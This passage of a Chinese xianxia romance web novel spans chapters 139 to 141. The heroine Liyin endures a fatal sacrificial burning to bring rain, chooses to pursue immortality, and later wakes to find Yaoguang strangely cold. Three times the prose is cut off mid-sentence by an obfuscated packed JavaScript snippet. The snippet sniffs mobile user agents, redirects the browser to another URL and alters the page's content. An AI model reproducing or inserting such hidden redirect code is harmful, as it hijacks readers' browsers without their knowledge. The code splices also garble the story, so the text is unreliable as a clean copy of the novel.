如璃音所料,入定果然为她减少了许多苦楚。不过她也知道,入定状态并不能永续,当躯体陷入极端环境中时,依然是会被强行“吵”醒的。 第四日。 山顶兽鸟都已避暑撤离,连鸟语都不再闻。 璃音颈后开始泛起连片烫伤般的水泡,经日光暴晒,又迅速干瘪下去,在少女原本白皙娇嫩的脖颈上,留下一大片皱皱巴巴的干皮疙瘩。 再不多时,颈上那一片坑洼斑驳的肌肤,便如地上晒至干巴的硬土,再黏连不住,在某一个水分散尽的时刻,骤然开裂。 像遭受噩梦袭扰,少女眉心猛地攒蹙,薄薄的眼皮下,眼珠好一阵快速移动,然后在某一个身体快要痛至极点的时刻,璃音抑下一声呻/吟,蓦地睁开了眼。 烈日下曝晒四日,又整整四天水米未进,少女此时双唇开裂、血色全无,面色更是惨白如金纸。 凡人的躯体,再有入定加持,至此也已撑到了极限。 而按祭典仪制,圣女是不能哭、不能叫,也不能动的。 所以璃音仍是一动未动,发顶烫得好似随时都要燃起,喉间一片砂摩似的割痛。 她意识已不算清明,双目虽然睁着,眸光却已近凝滞,只透过晕沉的视线,朦胧看到,正对着惘山的前方,于那渺渺云雾之间,似乎另有一座高山耸立。 惘山对面,那是什么山来着? 她此刻脱水脱力,思绪昏沉,脑中眼中的一切都不成逻辑,就连一座山的名字,也已再分不出力气去想了。 只有一个荒诞的念头在此时不着边际地冒了出来:怪道世上有一个词叫作煎熬,煎熬煎熬,现在的她,可不就是被头顶的大太阳煎得难熬么? 这时,随着一阵热风扑面,忽有一股幽幽淡淡的绿豆清香,自她虚攥的掌心之间,若有似无地拂了上来。 混乱的脑子里霎时掠过一丝清明。 夫君…… 他现在会在哪儿呢? 这一个月来,她习学的那些巫典中都说,圣女魂升之后,是可以上天宫、见天神、飞升成仙的。 若真是如此,那她岂非要比日日修仙练道的夫君,还要更早成仙了? 她若成仙,那和夫君约定好的来世,自己岂不是要爽约了? 要不成仙就算了吧,怎么能抛下夫君,独自成仙呢? 唉,不对不对,还是成仙好啊,从此无病无灾,无父无子,这样的日子,真是想想就快乐,所以,怎么能为了夫君,就放弃成仙呢? 到时候她若先去了天宫,就偷点秘笈下来,督促夫君好好修行,早日飞升来陪自己好了。 这个好,这事就这么定了。 璃音就这般迷迷糊糊、来来回回地想着,心神重又宁定,安静地闭上了眼。 她知道,从这一刻起,直到这副躯壳死亡,就要全凭自己的意志往下熬了。 而此时,摇光凝目垂手,就静立在惘山对面、那座被璃音朦胧一瞥、耸入云霄的山巅之上。 她在惘山一动不动地静坐四日,他便亦在此处一动不动地静立了四个昼夜。 而在方才少女双眸睁开又合上的这一眼之间,他终是忍不住指骨一拢,掌心一只有着长长触须的草蚱蜢,便随他的动作,长须轻轻颤了一颤。 第五日。 璃音终日昏沉,心跳越来越慢,每跳一下,都在璃音耳边跳出微弱但清晰的“咚”的一声。 渐渐地,她呼吸微弱得连空气都快拂不动了,人却仍旧坐得笔直,全靠一缕心气撑着,不肯气绝。 第六日。 身下坐着的薪柴滚烫,透过单薄素净的祭服,似乎把她腿上的肉都烫得坏死了大半。她开始幻想自己正坐在府中荒院里的那一口井底,夫君陪在她身边,在和她一起数着星星。 一颗,两颗…… 千颗,万颗…… 第七日。 过久的曝晒,让她身上连汗都已再蒸不出来。 秋莺,秋莺呢……秋莺最疼她的,她都快被烤死了,秋莺为什么还没有给她送冰饮子过来? 星星也数不动了,好像有大队虫蚁顺着薪柴爬上了她的身子,开始啃食她的血肉。 好痛啊…… 她是不是要被啃成骷髅了? 但比起痛,更多的,仍是煎熬。 她做错了什么,为什么全天下只有她,要被送来受这样的煎熬呢? 要不然,逃跑吧。 只需一步,只需跑下祭坛,就会有藏在树荫中、日夜轮流着监看她的羽林卫张弓搭箭,一箭射穿她的心脏。 那样,她就可以解脱了。 可那样,她也就输了,不知道输给谁,反正就是输了,很丢人,以后世人提起夏侯璃音这个名字,便全是讥嘲,再不会有真心实意的夸奖,那怎么行呢! 所以,再忍忍吧,再忍忍,很快就可以死了。 看着吧,这世上,只有她能忍过这个的,她父亲不行,她那些活着的、死了的、亲生的、野生的弟弟,也通通不行! 只有她……只有她才可以做到…… 于是少女没有逃跑,而是用尽最后一丝力气,将背脊倔强地往上挺了挺。 第八日。 她好像真的成为了一座干硬的雕像,这一日,璃音便是想动,也再动不了了。她有一大半的时间都在昏迷,只余一丝渺远到了天际的意识虚虚飘着,像一只风筝,而系着它的那根细线,颤颤巍巍,似乎只消一阵风吹,就要彻底断裂。 模糊虚幻的意识里,只有一个念头,随着生命力的流逝,竟愈发清晰了起来:要结束了吗?好像是要结束了,终于要结束了啊…… 她的一生,如此短暂的一生,还没来得及绽放出什么,竟就要这样结束了。 结束也好,不,应该说,真是太好了。 她好难受,身上的痛她已渐渐麻木、感受不到了,但每一根骨头都在发疼,五脏六腑的衰竭,更是时时刻刻生发着钝刀子割肉般的窒息感,她真的太难受了。 管它什么遗憾,什么不甘,她只求这一切快点结束,快一点,再快一点…… 天子,百官,乃至天下的百姓,应该也都等烦了吧,平常“祭品”最多也就撑个两三日,她撑着活那么久做什么呢,赶紧死了去天上报信才是正事,她早死一日,灾情便快一日可解。 这可真是抱歉啊,她太能撑,太能活了。 不过别急,很快,很快了,她能感觉得到的,很快她就应该会…… 可偏在这时,在午后最是浓炽的日光之下,蓦地,少女卷翘的睫毛之上,嘶地一下,窜出了一抹细小的火星。 对面山上,摇光指骨猛地收拢。 男人探出面具的眼睫,也随那一点火星的燃起,不可抑制地颤动了一下。 那小小的一点火星,仿佛一根被点燃的引线,山风助力,少女的眉毛、发尾、素薄的祭服,还有她身下那一捆薪柴,都争先恐后地,腾出了一簇簇微弱的火苗。 扩张到极致的五感,让摇光将对面山上的每一点风吹草动都感知地清晰。 就在这时,他清清楚楚地听见,自坐上祭台后便再没发出一点声息的少女,自喉间溢出了一声闷抑到极致、也痛苦至极致的、低低的哼吟。 以为早已失去了痛觉的躯壳,被火苗灼舐着,翻天覆地般、剧烈地烧痛起来。 就差一点,就差一点她就能死了啊,那时任它火烤风吹、鹰啄蚁噬,她都感觉不到、也就不怕了。 是上天嫌她承受的痛苦还不够吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089260|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,否则为什么偏偏,偏偏要在她意识尚存一线的时候…… 火势渐大,像一团会吃人的大舌,很快,少女纤薄的身影,便被完完全全吞噬了进去,再瞧不见了。 只有皮肉不断被灼出滋滋的声响,和少女极微弱、极偶尔的几声呻/吟,还在自那嚣张狂舞的火舌之中,不停传入摇光的耳中。 “阿璃,别怕。” 他轻声向她传音,可惜再看不到她灵动的眼,来给他作出任何回应了。 夫君? 在最后一抹意识快被炽火燃烧断裂之前,璃音似乎听见了夫君轻柔唤她的声音。 她有点生气,不是警告他不许来看了么?他怎么这样不听话! 小姑娘最是爱美、也最是要面子的,这么丑的样子被他瞧去了,叫她如何受得了。 而且,她才不怕呢。 甚至还有一点小小的骄傲。 这么难熬的酷刑,她都一路熬过来了,而且很快,就要熬到头了,就说这世上除了她,还有几人能做得到? “值得吗?” 正得意着,夫君的嗓音又一次轻轻飘了过来,但这一次,却好像带了点轻微的颤意。 “阿璃。”他又说:“我依然可以带你走。” 值得吗? 她也不是那么圣人心肠,做这一切,有太多自私的因素推着她走,有对父亲的一点点倔强的反击,有想要证明自己价值的渴念,还有对受万民感念、留名史书的渴望…… 所以,为了苍生之类的大话,她不敢说。 但越接近生死交割的这一刻,她也愈发明白了,支撑着她坚持到现在的那一根坚不可摧的支柱,究竟是什么。 皇城的河已干了九成,不出十日,惨酷的灾情便要蔓延至城内,蔓延至她们府中。 即便她不为缥缈的苍生,但她想守护的每一个人,却都在这苍生之中啊。 阿娘,秋莺,那些飞掠过井口、猝不及防就往里面投下鸟粪的坏鸟,还有她和夫君安静看星星时,非要跳出来叫个不停的小蚱蜢…… 还有…… 还有总是用清淡含笑、好像在夸她鼓励她的眼神,安静凝望自己的夫君。 她的夫君,就连她编给他一个草蚱蜢,他都看得认真而新奇,会用夸她厉害的眼神不停望着她,仿佛她弄出了多了不起的东西似的。 就是那样的眼神,让她在那一晚,有了向他索要来生的冲动。 因为每每透过夫君向自己望过来的眼神,她都好像,又更喜欢了自己一点点。 所以,值得吗? 能守护住他们,怎会不值得。 至于夫君说的,可以带她走,她都坚持到这里了,怎么能在终点处放弃,而且,她想,现在,应该也已没有这个必要了。 而就在她这么想着的下一瞬,噼啪—— 某根薪柴燃断的脆响。 响起在她意识如同脆纸般断碎的这一刻。 就成了她在这有爱有怨的人间,听到的最后一道声响。 * 十月初八日晚,子时将至。 就在人们或抱着冬瓜睡觉,或正用指腹沾起一点点的水、小心节省地润着口唇时,屋外忽地一阵大风呼啸,墨云狂卷。 有人正探了身子要去关窗,一抬眼,却见漫天清润的甘霖,倾盖而下! 就在无数百姓惊呼着奔出屋外,涌入街巷的同时,城中巨大的钟鼓楼之上,子夜的钟声,被徐徐敲响。 子时到了。 一个有雨的十月初九。 直到这时,摇光才于山巅之上缓缓转身,他没有撑起结界,雨滴不断打上他的肩头、他的面具,他抬起手,指尖触上金属薄壳的那一霎那,在一片冰凉的濡湿中,沾手似有一行温热。 那个平日里最是畏热的姑娘,她的生命,在炽烈火光中,终止在了十六岁的最后时刻。 再没能迈入她的十七岁。 值得吗? 她已经用行动给出了她的答案。 草蚱蜢还被他握在掌心,指腹轻摩上去,似乎就能看见她将其高举,逼问他可不可爱的样子。 为什么明知她最后会食言,会去喜欢上别的仙君,却还是停止不了地向她靠近。 也许就是因为,每每透过她望向这个世界的眼睛,他都好像,也更喜欢了这世间一点点。 挥袖将草蚱蜢拢入袖中,摇光身形一晃,便追着那一抹魂魄之前悠悠攀升的方向,与她一起,向着昆仑山,慢慢地奔去。 140. 第139章 归程 摇光抵达昆仑山时,璃音拖着一抹幽幽的魂魄,早已向西王母请完甘霖,争取下请神令了。 就像璃音用眼神嘱咐过他的那般,她如何献祭、如何上昆仑、又如何与玉帝西王母呛声,他其实都没有必要去看,也最好不要去看。 尽管用特制的面具遮掩了形貌,抑住了气息,但毕竟准备得还是仓促了,仅凭一个面具,若是不小心撞见此处时空里的那一个“自己”,还是有引发神魂相噬的风险。 除非如当时的偷画贼一般,用特殊的布料遮覆住全身,才真正万无一失。 他拿到了她十六年来贴身佩戴的长命锁,便可以启动昆仑镜,回去三百年后了。 那里的阿璃,也正在等着他去唤醒。 只是在离开之前,他总想着送一送她,再送一送她,于是送了一程又一程,直送到了这昆仑山上。 摇光一路旁若无人地行至西王母处,没有太过近前,只在昆仑玉阶下、少女跪姿挺拔的背后遥遥立定,略微颔首,便算向上首的西王母和玉帝行过了礼。 然后,也压根没管那两位看没看见,目光便自顾自移开,轻轻落去了身前少女纤拔的背影上,再没挪移过一分了。 而摇光走近时,西王母正笑望着台下端跪的少女,问她:“你想成仙?” 王母笑弯的眉眼里,颇藏着几分兴味。 千百年来,被凡间推着献祭上来的少女亦不少,她们之中也有许多人说要成仙,她也平等地给了她们每一个人机会,但可惜的是,最后能修成正果的却是寥寥。 成仙从来不是件易事,即便有大功德傍身,没有坚韧的心性,一生行“道”的彻悟,也是永远成不了仙的。 飞升,不是给谁受了苦难后的补偿,更不是向谁发放的享福的机会,而是让你拥有更大的能力,生活得更舒服的同时,也要去做更大的事。 欲要成仙,就要先领悟这一点,但要真正领悟这一点又谈何容易。 毕竟,那些被绑缚了手足、强行献入天宫的凡人,踏上祭台时,能有几人是真正自愿? 不自愿的人,总觉命运不公,觉得受了天道的亏欠,心中终日自苦,而会为了这种事而自苦的人,她们便注定无法领悟,只能算作一个可怜人,却永远也成不了圣人。 她们确实也受了亏欠,但她们没能想清楚的是,亏欠她们的从来不是天道,而是把她们推上祭台的那些人,是代代沿袭、奇怪却无人敢驳的那些陈规陋俗。 可台下的这个小姑娘却不同。 她竟是自愿的。 炽日炙烤,烈火加身,她亦能无需绑缚、不动如山。 真是千万年都难见的大倔种一个,天生便该是来她昆仑当神巫的料。 西王母慢慢摩挲着袖中一只作孽作到她几百年都没睡好的白玉葫芦,眼中渐渐迸射出璃音看不懂的精光。 西王母的目光诡异,但神仙嘛,有点怪模怪样也正常,那女娲不还是人首蛇身呢么?所以这丝毫没妨碍到璃音成仙的决心,她跪在台下,答得响亮而坚决:“是,我想成仙。” 在凡间,她也学了不少本事,自认为不比外公、阿爹他们差,但他们可以平步朝堂,她却连入朝为官也不敢肖想。 但成仙了,那些她在凡世不想接受、却又不得不接受的束缚,便通通不再存在,很多从前她想做而不能做的事,她都可以一一去做了。 她甚至可以像刚才那样,为凡间的少女们求下请神令! 这感觉真是太好了。 而且,夫君也是修仙的,那么优秀,她最要面子了,可不想在这件事上落在他后面! 于是坚定答完,一抬头,却见玉帝和西王母都微张着嘴,无声而又略带茫然地盯着她…… 诶? 她想成仙,这事对他们两位,竟有如此大的冲击力? 璃音也茫然地歪了歪头。 头一歪,才发现,这上首二位怔看的好像并非自己,而是自己身后的什么东西…… 循着视线偷偷扭过一点头,璃音余光扫到身后一抹玉立长身的熟悉身影,嘴巴一张,做了个和上首两位一模一样的表情出来,也呆了。 她呆望着身后那人,嘴巴张合好几次,才终于低低地、试探着唤了他一声:“夫君?” 男人便上手揉了揉她的发顶,同时蹲下身来,寻她的眼,笑着应她:“嗯。” 璃音一声“夫君”出来,玉帝瞳孔便是一震。 待摇光轻嗯的那一声传过来,玉帝瞳孔震了又震,西王母却已有所领悟,看看目下这一对不知何时脑袋就凑在了一处、喁喁私语的男女,缓缓抬起袖子,掩嘴一笑。 笑着,眼中精光也愈发强盛了。 她说什么来着,这姑娘与天宫有缘,天生就该是来她昆仑当神巫的料。 而璃音此刻根本没多余的心思去理会什么王母玉帝,她脑袋发懵,拉着摇光的袖子,将他扯在身前,呆呆地问他:“夫君,你怎么会在这里?” 答案其实很明显,能在天宫畅通无阻的,根本就没第二种人。 所以璃音这句也不是要等他回答,眼中水雾一起,不等男人回话,就扯他的袖子质问:“所以你告诉我的身份,还有说什么跟着老师修仙,都是骗我的?” 连身份都是骗她的,那是不是在别的事上也骗她了? 说什么从没被人抱过,骗她心疼,给了他好大的一个拥抱。 明明是个见过大世面的神仙,还说她编的草蚱蜢可爱,骗她心跳得好快,一冲动,把自己的下辈子都许给他了。 还有…… 璃音忽然想到什么,脸一绿,袖子也不拉了,狠狠往外推了他一把:“我被火烤的时候,你是不是躲在哪里偷看了!” 大小姐发起脾气来,那张冷脸是真能叫人不寒而栗,摇光一见璃音面色不善,就料到她要动手,做了防备,这一推自然便没被推动,他好笑地覆握住她推来的手,认真向她反省:“抱歉,我没忍住。” 什么叫没忍住?! 他一个没忍住,害她最丑最狼狈的样子,被最不想被看见的人,看光了…… 推他还推不动,璃音愈发没好气,话也懒的和他说,手上一个用力,就狠狠捏了他一把。 看过这双手布满水泡、毫无生机的样子,她捏的力气越大,摇光眼中笑意就越盛,他轻轻将它们包裹进掌心,看着她说:“阿璃勇敢的样子,很漂亮。” 他笑:“所以,我总忍不住想多看一看。” 璃音撇嘴。 又来了。 又说她漂亮,还又用那种眼神看她,那清亮的眼神,仿佛在夸她“捏人的力气真大、真厉害”一样。 莫名其妙的。 可是…… 少女绷紧的唇线却柔和下来,然后,又微不可见地向上扬了一扬。 唉,谁叫她偏就吃他这一套呢。 他看她一眼,她就什么都原谅他了。 但面上自然不能就这样轻易饶了他,于是她一扬下巴:“那谁不知道我漂亮。” 自吹自擂到底还是脸热,少女脸皮薄,见夫君眼里含笑看她,便咳一声,重又板好脸,从男人掌心里探出一根手指,往他肩膀上用力戳了下去,点他:“下不为例。” 摇光乖声应是。 望向少女的眼神,却止不住地一点点放恣明亮起来,不知何时,竟已明亮到几近张扬了。 下不为例,也就是说,即便回到了天宫,她和他,也还是有下次。 璃音看着他这样的笑,不禁轻怔了一下。 一怔过后,体内便有一股熊熊的意志,腾地燃起! 夫君都已是正儿八经的仙人了,她也得赶紧努力赶上才行! 于是忙抽手出来,转回身去,向上首的西王母伏拜而下,朗声:“我愿留此地,恳请娘娘教我修仙之法。” 就等她这句呢,西王母笑眯眯往袖中一摸,扬手轻挥,一只小巧莹润、闪着碧玉青光的白玉葫芦,便凌空悬停在了璃音的眼前。 “此葫吸食人魄,为祸人间,已近六百载,六百年来,天宫穷尽神力法宝,却始终未能找到一人一物能将其净化。”西王母盯紧了璃音,眼中又射出那迫人的精光来,“小姑娘,你已有两桩极大的功德在身,若能以魂入盏,净化此葫,待出来时,便是三德聚齐,白日飞升。” “而我,便准你留在昆仑山上,让你与这天下最厉害的十位神巫一起在我座下修行。” 璃音闻言,浑身精神一振,抬起脸来,却正对上玉横那张小小的葫芦口,似是察觉到了她的注视,那小嘴竟蓦地往斜里一歪,接着一咧,好似邪魅一笑。 璃音:“……” 小东西还挺有个性。 西王母见状,微微一笑,而后肃下面容,凝声道:“此葫可吸魂夺魄,邪性非常,你入此间,不知多少岁月可出,凶险亦难以预料,而我等在外,即便有心,也难施援手,一切都只凭你心性去熬。而且,一旦魂魄在内受其吞噬,便是永无轮回,魄散魂消。” “故这净化之事,要么有进无出,魂为血水,要么三德聚齐,白日飞升。” 西王母看着璃音,再次微微笑起来:“如此,你可还想要成仙?” 果然成仙不是那么简单的,璃音转头看了眼夫君,看到了满眼“你能做到”的笃定,笑了笑,回头再次向西王母叩拜,她十分确定:“是,我想成仙,请娘娘成全。” 不入虎穴,焉得虎子,连八日炙烤、活体焚烧她都能熬过来,这只有点个性的葫芦,熬过了便能成仙,她还能退缩了不成! 西王母抚掌笑道:“好好好,小姑娘有心气,有志气!” 说着便欲挥袖,要送小姑娘入玉横,忽而一瞥眼,瞥见摇光仍在少女身侧静立着,舞起一半的袖摆又顿下。 她目光折过,向璃音笑道:“小姑娘,这一进去,可不知要分别百年还是千年的岁月了,可要去与你夫君道个别?” 百年,千年?! 璃音一惊。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15097478|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在是超过凡人认知中的计量单位了,要和夫君分别这么久,还不知有没有小命回来,那道别自然是要的! 谢过西王母,璃音起身,赫然发现上首两位看向她和夫君的目光,一个赛一个的炯炯有神,简直都快喷出射光来了! 一想也是,夫君是神仙,那和他们便也算同僚吧。八卦同僚的家事,就像是流淌在人们血液里的罂粟,看来哪怕是西王母和玉帝,竟也不能免俗。 被人双目炯炯地围观着,璃音便有些不好意思起来,于是拉过夫君的手,脚下一蹭一挪地,默默往边上挪远了好些,才清了清嗓子,先说了心里最放不下的那件事:“夫君,阿娘和秋莺还在下面,等我出来,她们可能都已经……” 她吸了吸鼻子:“夫君若有空时,可否替我下去照看一下,生老病死都由她们,我只想她们能安稳过完这一生就好。” 因为是有求于人,怕他不应,她还轻轻晃了晃他的手。 知道她惦念亲人,摇光用指腹摩着她的手背,宽慰她:“她们会过得很好,还记得鹿蜀族中那位来报恩的大仙吗?她也会替你照看好她们的。” 那真是太好了,璃音松一口气,若她这次能出来,一定要找到那位大仙,好好感谢她一番才行。 正想着,忽觉耳垂被人轻轻捏了一下,同时,夫君幽幽的声音,幽幽地飘进了耳中:“就没什么话要对我说的?” 马上第二句不就要说到他了嘛,不过晚了一点,这也生气!璃音笑起来,抬脸看他:“有什么好说的,反正你就在外面乖乖等我就行了。” 不过又想到自己万一死里面了呢,也不好叫人漫无目的地一直枯等下去吧。 于是又艰难地表示了一下大度:“除非一百年……不,除非我一千年还没出来,那我就批准你,可以……可以……” 说不下去了,她压根一点也大度不起来,眼睛还蓦地湿润了,怪丢人的,干脆一把勾过夫君的腰,一头便埋进了他怀里。 她很快便被他回抱住了,感觉到他的一只手裹住她后脑,在那里又摸又拍的,对她说:“不急,多久我都等得起。” 一百年,一千年,幸好,他都等得起。 摇光第一次感激起了神寿的漫长。 听了他这一句,璃音又心跳得厉害,撤出一点身来,她抬眼看他脸上扣得严丝合缝的面具,看了一会,偷偷踮起脚来,却猛地感受到斜前方射来两道愈发炯亮的视线,倏地面上发烫,又把脚跟压了回去。 顿了顿,又不甘心,于是扯着夫君腰间的布料,拉他稍稍转了半个身,看他挺阔的身影完全背对着上面两人,把她严严实实挡住了,才又踮起脚来,隔着沁凉的面具,估摸着他双唇的位置,飞快地亲了他一下。 但隔着面具终是不得劲,璃音亲完这一下,又强硬地掰过他的脑袋,让他偏过头去,而她一手搂着他腰腹,一手掰着他的下巴,用力在他颈侧吮下了一个吻。 她听秋莺说,这个叫什么“种草莓”,不管种什么吧,反正会留痕的,被她种上了,大家就都知道他是她的人,跑不掉了。 璃音很有孟浪的勇气,但孟浪完了,也不敢去看男人的眼神,就又两只胳膊都环去夫君腰上,把脸狠狠埋进了他的胸口。 感觉到夫君抱她的力道紧了紧,璃音埋住的笑意止也止不住,看来夫君被她种了草莓,并没有抗拒,还很享受呢! 她抱着他,使劲嗅他身上的香,听说嗅觉的记忆比视觉更长久,她可能要有一千年见不到他呢,所以她要努力记住他的味道。 这是个一闻就能让她安心的味道,她想自己应该能记上很久很久,哪怕出来时忘了他的样子,也一定会记着这个味道的。 抱了一会,她觉得该走了,微仰起脸看他:“那我去了。” 其实也不是抱够了,实在是抱得时间太长,上边还有两位一直看着等着呢,再拖下去,就不好意思了。 “阿璃。”摇光迎着少女澈亮的眸光,低头看她,“这一次我不能陪你进去,也不能去看你了。” 璃音笑着撤开身子,举起腰间一个装满绿豆的小香囊,冲他扬了扬:“没关系,我还有它陪我。” 她把小香囊收回腰间系好,拍了拍,抬脸笑着对他说了句:“走啦。” 便转过身,朝着那个悬在空中的玉葫芦,一步一步,慢慢地走了过去。 看小姑娘回来,西王母忙收敛起八卦的目光,正了正神色,抬手十分威仪地一挥,送璃音踏上了属于她的修行之路。 摇光安静目送着,直至少女的身影彻底消失在葫芦之中,他便也不做任何留恋地转身,连走时的招呼也不向上首两位打一个,便拢紧了袖中的一只草蚱蜢,和一把精致的长命锁,转身消失在了昆仑山上。 他也该踏上属于自己的归程了。 而玉帝看着摇光消失的背影,直到此时,才终于转了转他那盯得都快发直的眼珠,长长舒出了一口气:“没错,没错,这么没礼貌,不是假扮的,是摇光那小子没错了。” 141. 第140章 冷淡 璃音醒过来之后,呆望着上方陌生的天花板盯了很久。 她醒得很安静,只眼皮无声一掀,然后就没声张,也没别的动作,只仰面躺着,就开始对着眼前高高的房顶,久久地发起呆来了。 倒也不是她不想动。 起初是眼睛睁开了,意识却还没能完全跟上,她尚是凡人时,身边有个小姑娘叫秋莺,就总爱打趣她,说她这叫“起床呆”。 后来等“起床呆”过去,意识渐渐回笼,她想坐起,才发现坐不动,又试着动动指尖,十根手指头也全跟死了一样,毫无反应。 这次却是身体跟不上趟了。 头顶上玉横还莹莹悬着,璃音一看就明白了:这躯壳又是玉横新鲜给她塑出来的,和她的神魂还没全连接上呢,得有一段假肢似的磨合期。 好在这磨合期也不长,至多几个时辰,这石头身子就该适应了。 所以暂时动弹不得,璃音也不着急,只继续盯着天花板,一面想她这是躺在了谁家榻上,一面回忆着前事。 她依稀记得自己替小七进了血灵之阵,还跑回庆宁二十三年来了,但回来的路上,因为太痛,她的意识就一直飘飘散散、时断时续的,四周总是一片黢黑,像被一团浓雾包裹着,她好像被困在了哪里。 但又有那么几个瞬间,黑雾偶尔会散,明媚的日光照射进来,驱逐尽她周身的黑暗,融融暖阳中,每一次,她都似乎看见小七了。 最后一次看见小七时,他向她走来,手里不知为何,竟拿着把十分眼熟的长命锁,好像是她在凡间时佩戴过的,可那东西不是应该陪葬在她的豪华陵墓里了吗,怎么跑到小七手里去了? 她还没想通,也没能和小七说上话,黑雾就又裹了上来,她很生气,似乎还气得和那团雾打了一架,然后她就醒了。 醒得无声无息。 以至于她醒了好半天,榻旁才似有人惊觉,然后,她假肢般不得动弹的手,便被攥入了一个宽大而温暖的掌心。 像是个男人的手。 璃音脑子里的弦一绷,下意识要躲,上次她在东海海底醒来时就是躲得晚了,愣是摊上了归岚这么条缠人的巨龙。 但此时意识无用,身子不听她指挥,她急得干瞪眼,好在这时,一阵若有似无的清冷桂香,幽幽飘荡了过来。 是小七的味道。 神魂被熟悉的气息包裹,璃音一下子就安定了下来。 她心里雀跃,可握着她手的男人一开口,却不是小七总是清辉漫洒般不紧不慢的嗓音,那人满是欣喜,抓着她的手说:“阿横,你醒了!” 璃音怔了下,脑袋转不动,使力半晌,才终于从喉管里艰难挤出两个字来:“商月?” “我在。” 手被攥得愈发紧了,男人的脸也凑了过来,一双远山似的清隽眉眼,直直映入了璃音眸底。 商月望着她,笑得如清风过竹:“你乖乖躺一会,我去叫巫真师姐过来。她为了看顾你,几天几夜都没睡着,我若是通知晚了,只怕要被她追着打上几百年。” 璃音被他说得想笑,巫真师姐,确实就是这么个火爆的性子,十位神巫,九位都拿她没辙,当时谁也没料到,最后拿捏住她的,会是整个天宫上下最是温和似水的商止师兄。 所以说人和人之间的缘分,可真是大大的玄妙。原以为绝对受不到旁人包容的怪脾气,也总有一个仿佛就是为包容你而生的人,在那里安安静静地等你过来。 手被依依不舍地松开,璃音的视线里,商月离开了,又只剩下了那一片高高的、怎么看怎么眼生的天花板。 不是月宫,不是她的还音殿,也不是巫真师姐的寝殿。 那她这究竟是……躺哪儿来了? 正想得出神,身边软褥轻陷下去,熟悉的气味渐浓,璃音重又雀跃起来:“小七。” 一欢喜,大概是叫血液奔流得欢畅了,身子一下子回血不少,璃音说话都利索了:“你过来一些,我这头不听使唤,转不了,都看不见你。” 男人听话地靠了过来,醒来后就一直最想见到的这张脸,此刻带着凌厉的漂亮,终于进入了她的视线之中。 他不再是慕小侯爷的模样了,发带长长地缀下,仙风凌然的,让她很有上手扯一把的欲望。反正他在她眼里,恐怕早已进入了情人眼里出西施的阶段,毫无客观可言,不管他怎么样,她都会觉得好看。 其实商月也好看,但她每次看他,都好像在看挂在别人家里的一幅山水画,也赏心,也悦目,却不会有摘回自家去的欲望。 可小七不同,她不能看他太久,每次多看了几眼,就会开始想要把他天天绑在家里,对他做这样那样的事。 总之,她成功救下他了,之前所有的痛都没有白受,真好。 他也在看着自己,目光一瞬都没有移开,但他怎么就光是看着,不说话呢? 她出这么大一趟“远门”回来,为他,真是吃了好多苦头,他也不赶紧过来抱抱她,手里还不松手地攥着个……呃……蚱蜢? 璃音看得一呆:“你手里怎么有个蚱蜢?” 仔细一看,还不是只真蚱蜢,而是用草编的,实在不像他平日里会玩的东西。 这下摇光终于开口了,但也只是轻描淡写地回了句:“别人送的。” 说着便将草蚱蜢收入了袖中,再不让她看见了。 璃音满腹狐疑,脑袋动不了,只好使劲转着眼珠看他。 而男人拢袖时,领口微微牵动,一道暧昧淤滞的红痕,便恰好在璃音打量的目光中,半遮半掩、却又醒目无比地露了出来。 看清的瞬间,璃音只觉轰的一下,全身的气血直冲脑门! 那样的痕迹,她太熟悉了,她曾在慕璟明身上留下过无数次。 可在摇光神君身上,她刚从九百年前回来,还从没机会留下过一次。 所以,她出“远门”,千辛万苦去取落日神弓,又一次次救他的时候,他却在这舒舒服服被别的女仙种草莓! 难怪,难怪他见她醒来,没来抱她,也没来牵她的手。 体内好一阵气血狂涌,内脏都气得扭痛起来,她想要气势汹汹质问,奈何脸上肌肉僵硬,没一块听她调度,再咬牙切齿、想作出凶恶的神情,也只能是邦硬着一张脸,面无表情、气若游丝地来了一句:“那草蚱蜢看着挺有意思,谁送你的?” 摇光也没什么情绪地看她,盯过半晌后,蓦地一哂,转移开了话题:“老师醒来感觉怎么样?” 声音和神情都冷淡得叫璃音怔住。 像一盆凉水从头浇到脚,欣喜凉下,愤怒凉下,所有情绪都凉下,连同周身的血液都凉了下去。 她看见男人垂下眼,敛了袖道:“老师若觉乏力,就再睡一会,学生就不多做打扰了。” 璃音空茫地睁着一双眼,看他冷淡起身、没有留恋地从自己的视线里撤离,而她仍是动不了,想哭想笑都不能够。 面上先前涌上的血色又褪尽,她听着他渐远的脚步声,忽然叫了他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109206|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声:“慕璟明。” 脚步声顿下,可也没有折回,她听见他的声音在几步远的地方传来:“这只是学生在凡间一世历劫的姓名。” 